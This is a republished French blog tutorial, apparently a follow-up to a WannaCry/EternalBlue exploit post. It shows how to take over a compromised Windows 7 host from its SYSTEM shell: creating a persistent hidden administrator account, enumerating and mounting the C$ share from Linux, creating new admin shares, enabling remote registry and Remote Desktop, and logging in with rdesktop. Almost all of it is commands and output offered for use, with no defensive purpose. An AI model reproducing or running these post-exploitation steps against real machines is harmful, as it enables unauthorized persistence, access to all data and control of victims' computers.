Republication d’article
Source de l’article: WannaCry: Après l’Exploit, la prise de contrôle de Windows |
Après un exploit réussi, comme avec “WannaCry”, je vais montrer comment prendre le contrôle du PC et avoir accès à l'ensemble des données du système vulnérable.
Pour cela, il faudra créer un compte administrateur, créer des partages, et enfin les rendre accessibles sous Linux.
En bonus, j'activerai le service “Bureau à Distance
” … 😉
The gods, will not save you.
Je ne connais pas bien Windows, donc il est possible que j'emprunte des détours inutiles pour arriver a mes fins… Soyez indulgent :-\ |
Pré-requis
On est censé connaitre l'IP de la cible.
On a réalisé l'exploit vu précédemment et on se retrouve dans “cmd.exe
” avec un prompt ressemblant à ça:
C:\Windows\system32>
Un petit tour d'abord…
Les partages disponibles…
C:\Windows\system32>net share net share Nom partage Ressource Remarque ------------------------------------------------------------------------------- C$ C:\ Partage par dfaut D$ D:\ Partage par dfaut IPC$ IPC distant La commande s'est termine correctement.
Dans cette session, les comptes locaux visibles:
C:\Windows\system32>net user net user comptes d'utilisateurs de \\ ------------------------------------------------------------------------------- Administrateur Invit Des erreurs ont affect l'excution de la commande.
(le desert)
Qui suis-je:
C:\Windows\system32>whoami whoami autorite nt\systme
Je suis l'autorité suprême sur ce système 😀
Créer un compte admin
On va créer le compte “john
”
C:\Windows\system32>net user john PASSWORD /ADD /Y net user john PASSWORD /ADD /Y La commande s'est termine correctement.
Remplacer “PASSWORD
” par le mot de passe que vous voulez (mais pas trop simple: on va devenir admin)
Ajouter ce compte dans le groupe des Administrateurs:
C:\Windows\system32>net localgroup Administrateurs john /add net localgroup Administrateurs john /add La commande s'est termine correctement.
Le nom du groupe “Administrateurs
” sera différent selon la langue par défaut.
Si nécessaire, désactiver l'expiration du compte:
C:\Windows\system32>net user john /expires:never net user john /expires:never La commande s'est termine correctement.
Si nécessaire, désactiver l'expiration du mot de passe:
C:\Windows\system32>wmic useraccount where "name='john'" set PasswordExpires=FALSE wmic useraccount where "name='john'" set PasswordExpires=FALSE Mettre jour les proprits de '\\PC046\ROOT\CIMV2:Win32_UserAccount.Domain="PC046",Name="john"' La mise jour des proprits a russi.
Vérifions:
C:\Windows\system32>net user john net user john Nom d'utilisateur john Nom complet Commentaire Commentaires utilisateur Code du pays 000 (Valeur par dfaut du systme) Compte: actif Oui Le compte expire Jamais Mot de passe: dernier changmt. 13/05/2017 03:18:11 Le mot de passe expire Jamais Le mot de passe modifiable 14/05/2017 03:18:11 Mot de passe exig Oui L'utilisateur peut changer de mot de passe Oui Stations autorises Tout Script d'ouverture de session Profil d'utilisateur Rpertoire de base Dernier accs Jamais Heures d'accs autoris Tout Appartient aux groupes locaux *Administrateurs *Utilisateurs Appartient aux groupes globaux *None La commande s'est termine correctement.
Plus tard, on pourra effacer simplement ce compte comme ceci:
C:\Windows\system32>net user john /DELETE
Tester le compte
Par exemple, à partir d'un terminal sous Linux:
$ smbclient -L <IP> -U.\\john%<PASSWORD>
Remplacer “<IP>
” et “<PASSWORD>
” par les bonnes valeurs en votre possession.
Note: Le petit “.\\
” , juste avant le nom du compte, sert juste a dire: “c'est un compte du domaine local”.
On aurait pu mettre le nom de l'ordinateur, qu'on peut déterminer (entre autres) comme ceci:
C:\Windows\system32>set COMPUTERNAME set COMPUTERNAME COMPUTERNAME=PC046
Bref, à partir de l'exemple ci-dessus, on obtient un affichage ressemblant à ça:
Domain=[THIERRY-JAOUEN] OS=[Windows 7 Professional 7601 Service Pack 1] Server=[Windows 7 Professional 6.1] Sharename Type Comment --------- ---- ------- ADMIN$ Disk Administration à distance C$ Disk Partage par défaut D$ Disk Partage par défaut IPC$ IPC IPC distant Connection to 192.168.1.23 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) NetBIOS over TCP disabled -- no workgroup available
Donc, le compte est OK.
On aurait pu utiliser d'autres commandes comme:
$ net rpc user -S <IP> -U.\\john%<PASSWORD> Administrateur john Invité
La liste des partages:
$ net rpc share -S <IP> -U.\\john%<PASSWORD> ADMIN$ C$ D$ IPC$
Vérifier l'état des services, les démarrer ou les arrêter…
$ net rpc service status TermService -I <IP> -U.\\john%<PASSWORD> TermService service is stopped. Configuration details: Controls Accepted = 0x0 Service Type = 0x20 Start Type = 0x3 Error Control = 0x1 Tag ID = 0x0 Executable Path = C:\Windows\System32\svchost.exe -k NetworkService Load Order Group = Dependencies = RPCSS/TermDD/ Start Name = NT Authority\NetworkService Display Name = Services Bureau à distance
(Ne le faites pas avant d'avoir créé un compte “admin”!) Rebooter la machine:
$ net rpc shutdown -r -I <IP> -U.\\john%<PASSWORD>
… etc…
Monter les partages
simple
Comme vu précédemment, il y a peut être un certain nombre de partages disponibles, et ils sont peut être montable sans effort particulier.
Pour l'exemple, on va monter sous Linux le partage “C$
” du Windows vulnérable:
# mkdir /mnt/Disk_C # mount -t cifs -r -o nounix,username=john,password=<PASSWORD>,domain=. //<IP>/C\$ /mnt/Disk_C
Remplacer “<PASSWORD>
” et “<IP>
” par les valeurs qui vont bien.
Rappel: l'option “domain=.
” dit simplement que c'est un compte local au système.
On monte en lecture seule, mais si vous voulez vraiment casser des trucs, retirer l'option “-r
”.
Maintenant, on a accès a l'ensemble de “C:\
” à partir du point de montage en /mnt/Disk_C
.
monter des partages soient même
Si les partages des disques ne sont pas activés, alors on va le faire nous-même.
Pour l'exemple, on va activer le partage du disque “C:
” (à partir de la console de l'exploit):
C:\Windows\system32>net share C$=C:\ "/GRANT:Administrateurs,FULL" /Cache:No /Unlimited net share C$=C:\ "/GRANT:Administrateurs,FULL" /Cache:No /Unlimited C$ a t partag.
Si le nom de partage “C$
” est déjà utilisé, vous pouvez choisir un autre nom, par exemple “WANNACRY_C$
”… 🙂
demontage
Plus tard, on démontera le disk avec:
# umount /mnt/Disk_C
Plus tard encore, si vous voulez faire disparaitre ce partage de Windows:
C:\Windows\system32>net share C$ /DELETE
Voila: Enjoy
Bureau a Distance (rdesktop)
❗ Soyez prudent: Ce genre de manip laisse beaucoup de trace sur le Window$ |
Il faut pouvoir activer le “rdesktop
”, et pour cela, il faut modifier la base de registre (de mon expérience…)
Le service d'accès à la base de registre à distance fonctionne ?
$ net rpc service status RemoteRegistry -I <IP> -U.\\john%<PASSWORD> RemoteRegistry service is stopped. ...
Non.
Alors, activer le service:
$ net rpc service start RemoteRegistry -I <IP> -U.\\john%<PASSWORD> RemoteRegistry service is stopped. ...
$ net rpc service start RemoteRegistry -I <IP> -U.\\john%<PASSWORD> .................... Successfully started service: RemoteRegistry
Il faut récupérer le nom de la machine (voir ci-dessus) et avec “regedit.exe
” , a partir d'un autre Window$ (désolé:je n'ai pas plus cool), se connecter à la base de registre en utilisant le compte “<COMPUTERNAME>\\john
” et le mot de passe qui va bien.
Ensuite, mettre a zéro ça:
HKEY_LOCAL_MACHINE > System > CurrentControlSet > Control > Terminal Server > fDenyTSConnections : 0
Ce qui va autoriser les connexions au “remote desktop”.
Bizarrement, je n'ai pas eu besoin de démarrer le service “Bureau a distance”, mais au cas où:
$ net rpc service start TermService -I <IP> -U.\\john%<PASSWORD> ....
Et maintenant, on peut atteindre le Windows vulnérable:
$ rdesktop <IP> -g70% -u john -n prout
😎